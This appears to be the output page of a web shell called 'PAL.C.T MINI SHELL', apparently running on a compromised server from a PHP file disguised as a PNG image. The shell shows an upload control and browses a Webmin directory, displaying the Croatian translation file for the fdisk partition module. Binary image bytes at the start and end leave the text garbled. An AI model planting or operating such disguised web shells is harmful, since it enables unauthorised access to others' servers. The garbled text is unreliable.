php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/fdisk/lang/
upload
files >> //usr/libexec/webmin/fdisk/lang/hr.auto

index_title=Upravitelj particija
index_parted=Pomoću <tt>razdijeljeno</tt>
index_fdisk=Korištenjem <tt>fdisk</tt>
index_ecmd=Odabrali ste korištenje naredbe $1 za upravljanje particijama, ali ona nije instalirana na vašem sustavu.
index_err=Nije uspjelo popis diskova
index_disk=Disk
index_parts=particije
index_location=Mjesto
index_cylinders=cilindri
index_size=Veličina
index_model=Model
index_raid=RAID nivo
index_controller=kontrolor
index_scsiid=Cilj
index_none=Nisu pronađene particije
index_num=Ne.
index_type=Tip
index_extent=opseg
index_start=Početak
index_end=Kraj
index_addpri=Dodajte primarnu particiju.
index_addlog=Dodajte logičku particiju.
index_addext=Dodajte proširenu particiju.
index_hdparm=Uređivanje IDE parametara
index_hdparmdesc=Promijenite postavke za IDE pogon, poput DMA načina rada, vremena čekanja i broja pročitanih sektora.
index_smart=Prikaži SMART status
index_smartdesc=Prikazuje stanje prijavljeno na ovom pogonu, uključujući temperaturu i stopu pogreške.
index_blink=Identificirajte pogon
index_relabel=Obrišite pregrade
index_relabeldesc=Izbrišite sve postojeće particije i stvorite novu tablicu particija drugačijeg formata.
index_relabel2=Stvorite tablicu particija
index_relabeldesc2=Na ovom disku stvorite novu praznu tablicu particija kako biste particije mogli dodati.
index_use=Koristiti
index_free=Besplatno
index_return=popis diskova
index_dname=Naziv diska
index_dsize=Ukupna veličina
index_dmodel=Napravite i modelirajte
index_dctrl=kontrolor
index_dacts=akcije
index_dhdparm=IDE parametri
index_dsmart=PAMETNI status
index_dscsi=SCSI uređaj $1 kontroler $2 
index_draid=RAID nivo $1 
index_dparts=particije
index_none2=Na ovom sustavu nisu pronađeni diskovi.

bytes=bajtova
megabytes=megabajta
extended=produžen
opt_default=Zadano
opt_error='$1' nije valjan $2 
open_error=Naredba $1 nije pronađena
select_device=$1 uređaj $2 
select_part=$1 uređaj $2 particija $3 
select_fd=Disketa $1 
select_mylex=Mylex RAID $1 pogon $2 
select_mpart=Mylex RAID $1 pogon $2 particija $3 
select_cpq=Compaq RAID $1 pogon $2 
select_cpart=Compaq RAID $1 pogon $2 particija $3 
select_scsi=SCSI kontroler $1 sabirnica $2 target $3 LUN $4 
select_spart=SCSI kontroler $1 sabirnica $2 cilja $3 LUN $4 particija $5 
select_newide=IDE kontroler $1 sabirnica $2 disk $3 
select_snewide=IDE kontroler $1 sabirnica $2 disk $3 particija $5 
select_smart=Compaq Smart Array $1 pogon $2 
select_smartpart=Compaq Smart Array $1 pogon $2 particija $3 
select_promise=Obećajte RAID pogon $1 
select_ppart=Obećajte RAID pogon $1 particiju $2 
select_nvme=NVME SSD $1 pogon $2 
select_nvmepart=NVME SSD $1 pogon $2 particija $3 

edit_title=Uređivanje particije
create_title=Stvorite particiju
edit_ecannot=Nemate mogućnost uređivanja ovog diska
edit_ehdparm=Izvršni format <tt>hdparm</tt> nije pronađen u vašem sustavu
edit_details=Pojedinosti o particiji
edit_location=Mjesto
edit_device=Datoteka uređaja
edit_type=Tip
edit_extent=opseg
edit_of=od
edit_status=Status
edit_cont1=Sadrži 1 particiju
edit_cont234=Sadrži $1 particije
edit_cont5=Sadrži $1 particije
edit_mount=Montiran na $1 kao $2 
edit_umount=Za ugradnju na $1 kao $2 
edit_mountvm=Postavljen kao virtualna memorija
edit_umountvm=Za montažu kao virtualna memorija
edit_mountraid=Dio RAID uređaja $1 
edit_mountlvm=Dio grupe volumena LVM $1 
edit_mountiscsi=iSCSI zajednički uređaj $1 
edit_notexist=Još nije stvoreno
edit_notused=Ne koristi se
edit_size=Veličina
edit_label=Oznaka datotečnog sustava
edit_name=Naziv particije
edit_volid=Volumen ID
edit_blocks=$1 blokada
edit_inuse=Ova se particija ne može promijeniti jer je trenutno u upotrebi ili konfigurirana za upotrebu.
edit_mkfs=Stvorite novi datotečni sustav
edit_mkfs2=Stvorite datotečni sustav:
edit_mkfsmsg=Na ovoj particiji gradi novi $1 datotečni sustav, trajno brišući sve postojeće datoteke. To morate učiniti nakon što stvorite novu particiju ili promijenite postojeću.
edit_mkfsmsg2=Na ovoj particiji gradi novi datotečni sustav odabranog tipa, trajno brišući sve postojeće datoteke. To morate učiniti nakon što stvorite novu particiju ili promijenite postojeću.
edit_fsck=Popravak datotečnog sustava
edit_fsckmsg=Poziva program $1 da popravi datotečni sustav tako da se može montirati. Ovo bi moglo biti potrebno ako se vaš sustav nije pravilno zatvorio.
edit_tune=Podesite datotečni sustav
edit_tunemsg=Omogućuje vam izmjenu različitih parametara postojećeg datotečnog sustava.
edit_none=nijedan
edit_newmount=Uključi particiju na:
edit_newmount2=Mount Partition
edit_mountas=kao
edit_mountmsg=Montirajte ovu particiju na novu mapu vašeg sustava kako bi se mogla koristiti za pohranu datoteka. Na particiji mora biti već stvoren datotečni sustav.
edit_mountmsg2=Montirajte ovu particiju kao virtualnu memoriju na vašem sustavu kako biste povećali količinu dostupne memorije.

mkfs_title=Novi datotečni sustav
mkfs_ecannot=Na ovom disku vam nije dopušteno graditi novi datotečni sustav
mkfs_desc1=Klikom na gumb na dnu ovog obrasca izgradit ćete novi $1 datotečni sustav na uređaju $2. Svi podaci na ovoj particiji bit će trajno izbrisani.
mkfs_desc2=Ova je particija montirana na $1 kao $2. Stvaranjem novog datotečnog sustava izbrisat će se sve datoteke koje su prethodno bile dostupne u ovoj mapi.
mkfs_options=Opcije datotečnog sustava
mkfs_create=Stvorite datotečni sustav
mkfs_err=Izrada datotečnog sustava nije uspjela
mkfs_exec=Izvršavanje naredbe $1 ..
mkfs_failed=.. naredba nije uspjela!
mkfs_ok=.. naredba dovršena.

fsck_title=Popravak datotečnog sustava
fsck_ecannot=Nemate mogućnost fsck ovog diska
fsck_desc1=Klikom na gumb <tt>Popravi datotečni sustav</tt> pokušati ćemo popraviti oštećeni datotečni sustav $1 na $2 za montažu na $3. Ako datotečni sustav nije oštećen, neće biti nikakvih promjena.
fsck_desc2=Popravak datotečnog sustava izvršit će se pomoću naredbe $1, koja će automatski pokušati popraviti nastale probleme. Za veću kontrolu nad popravcima datotečnog sustava, koristite naredbu $2 u interaktivnom načinu iz Unix prozora.
fsck_repair=Popravak datotečnog sustava
fsck_exec=Izvršavanje naredbe $1 ..
fsck_err0=nisu otkrivene pogreške
fsck_err1=pronađene i ispravljene pogreške
fsck_err3=pronađene i ispravljene pogreške - ponovno podizanje sustava
fsck_err4=pronađene pogreške, ali NE ispravljene
fsck_err16=pogreška naredbenog retka
fsck_unknown=nepoznati povratni kod $1 

tunefs_title=Podesite datotečni sustav
tunefs_ecannot=Nije vam dopušteno podešavanje ovog datotečnog sustava
tunefs_desc=Ovaj obrazac omogućuje vam podešavanje različitih parametara datotečnog sustava $1 na $2 za ugradnju na $3. Neće utjecati na postojeće datoteke u ovom datotečnom sustavu.
tunefs_params=Podešavanje parametara
tunefs_tune=Podesite datotečni sustav
tunefs_c=Razlike između čekova
tunefs_e=Radnja na pogrešci
tunefs_continue=Nastaviti
tunefs_remount=Montirajte samo za čitanje
tunefs_panic=Panika
tunefs_u=Rezervirani korisnik
tunefs_g=Rezervirana grupa
tunefs_m=Rezervirani blokovi
tunefs_i=Vrijeme između provjera
tunefs_days=dana
tunefs_weeks=Tjedni
tunefs_months=mjeseci
tunefs_err=Nije uspjelo podešavanje datotečnog sustava
tunefs_exec=Izvršavanje naredbe $1 ..
tunefs_failed=.. naredba nije uspjela!
tunefs_ok=.. naredba dovršena.

reboot_title=Ponovno podizanje sustava
reboot_msg=Ponovno pokretanje sada ..
reboot_ok=Ponovno pokreni sada
reboot_why=Promijenili ste tablicu particija na $1. Da bi ta promjena pravilno stupila na snagu, sustav se mora ponovno pokrenuti.

save_err=Spremanje particije nije uspjelo
save_ecannot=Nemate mogućnost uređivanja ovog diska
save_estart='$1' nije važeći početni cilindar
save_eend="$1" nije valjani cilindar za završetak
save_emin=Početni cilindar mora biti> = $1 
save_emax=Završni cilindar mora biti <= $1 
save_eminmax=Početni cilindar mora biti manji od završnog
save_eoverlap=Prekrivanje otkriveno particijom $1 ($2 do $3)

ext2_b=Veličina bloka
ext2_f=Veličina fragmenta
ext2_i=Bajtovi po inode
ext2_m=Rezervirani blokovi
ext2_g=Blokovi po grupi
ext2_c=Provjerite postoje li loši blokovi?
ext3_j=Veličina datoteke časopisa

msdos_ff=Broj FAT-ova
msdos_F=FAT veličina
msdos_F_other=Ostali ..
msdos_i=Volumen ID
msdos_n=Naziv sveska
msdos_r=Upisi s korijenom
msdos_s=Veličina klastera
msdos_c=Provjerite postoje li loši blokovi?

minix_n=Duljina naziva datoteke
minix_i=Broj čvorova
minix_b=Broj blokova
minix_c=Provjerite postoje li loši blokovi?

reiserfs_force=Prisiliti na stvaranje datotečnog sustava
reiserfs_hash=Hash funkcija

xfs_force=Prisiliti na stvaranje datotečnog sustava
xfs_b=Veličina bloka

jfs_s=Veličina dnevnika
jfs_c=Provjerite postoje li loši blokovi?

btrfs_l=Veličina listova
btrfs_n=Veličina čvora
btrfs_s=Veličina sektora

fatx_none=Nisu dostupne mogućnosti za FATX datotečne sustave.

acl_disks=Diskovi koje ovaj korisnik može particirati i formatirati
acl_dall=Svi diskovi
acl_dsel=Odabran ..
acl_view=Mogu li pregledati diskove koji se ne mogu uređivati?

hdparm_title=Uredi parametre IDE
hdparm_on=Na
hdparm_off=od
hdparm_label=Postavke IDE pogona
hdparm_conf_X=Način prijenosa
hdparm_conf_X_defaut=Zadani način rada
hdparm_conf_X_disable=Onemogući IORDY
hdparm_conf_d=Korištenje DMA
hdparm_conf_a=Broj sektora
hdparm_conf_A=Čitanje lookahead
hdparm_conf_W=Napišite predmemoriranje
hdparm_conf_u=Prekinuti uklanjanje maske
hdparm_conf_k=Zadržite postavke resetiranim
hdparm_conf_K=Zadržite mogućnosti resetiranja
hdparm_conf_r=Samo za čitanje
hdparm_conf_P=Reprogram najbolji PIO
hdparm_conf_S=Istek vremena čekanja
hdparm_conf_c=32-bitna I/O podrška
hdparm_conf_m=Broj sektora za I/O za više sektora
hdparm_disable=Onemogući
hdparm_enable=Omogućiti
hdparm_enable_special=Omogući s posebnim redoslijedom sinkronizacije
hdparm_apply=Prijavite se na Disk
hdparm_speed=Ispitna brzina
hdparm_performing=Izvođenje
hdparm_buf1=Spremnik spremnika:
hdparm_buf2=bufferom:
hdparm_speedres=Rezultati ispitivanja brzine

blink_title=Prepoznajte Pogon
blink_desc=LED za aktivnost pogona zasvijetlit će šezdeset puta
blink_back=Vrati se

log_modify=Izmijenjeno $1 
log_create=Izrađeno $1 
log_delete=Izbrisano $1 
log_mkfs=Izrađen je $1 datotečni sustav na $2 
log_tunefs=Uređen $1 datotečni sustav na $2 
log_fsck=Popravljen je $1 datotečni sustav na $2 
log_hdparm=Izmijenjeni IDE parametri za $1 

fs_ext2=Stari izvorni Linux
fs_minix=Minix
fs_msdos=MS-DOS
fs_vfat=Windows
fs_reiserfs=ReiserFS
fs_ext3=Linux Native
fs_ext4=Novi izvorni Linux
fs_xfs=SGI
fs_jfs=IBM Journalling
fs_btrfs=BTR

delete_title=Izbriši particiju
delete_rusure=Jeste li sigurni da želite izbrisati $1 ($2)? Podaci na ovoj particiji mogu se zauvijek izgubiti.
delete_ok=Izbriši sada

disk_title=Uređivanje particija diska
disk_egone=Disk više ne postoji!
disk_no=Broj
disk_type=Tip
disk_extent=opseg
disk_start=Početak
disk_end=Kraj
disk_use=Korišten od
disk_free=Slobodan prostor
disk_vm=Virtualna memorija
disk_iscsi=iSCSI zajednički uređaj $1 
disk_none=Ovaj disk još nema particije.
disk_size=Veličina
disk_dsize=<b>Veličina diska:</b> $1 
disk_model=<b>Izrada i model:</b> $1 
disk_cylinders=<b>Cilindri:</b> $1 
disk_table=<b>Format tablice particije:</b> $1 
disk_notable=<b>Format particijske tablice:</b> Nije stvoren
disk_needtable=Nijedna particija ne može se stvoriti bez particijske tablice.
disk_return=popis particija

relabel_title=Obrišite pregrade
relabel_warn=Jeste li sigurni da želite obrisati sve particije na $1 ($2) ponovnim pisanjem naljepnice diska? Svi postojeći podaci i datotečni sustavi će biti izgubljeni!
relabel_parts=Postojeće particije
relabel_noparts=Još nije stvoreno
relabel_table=Format tablice particija
relabel_ok=Obrišite i ponovo označite

table_msdos=MS-DOS (standardni format particije)
table_gpt=GPT (za 2T ili veće diskove)
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`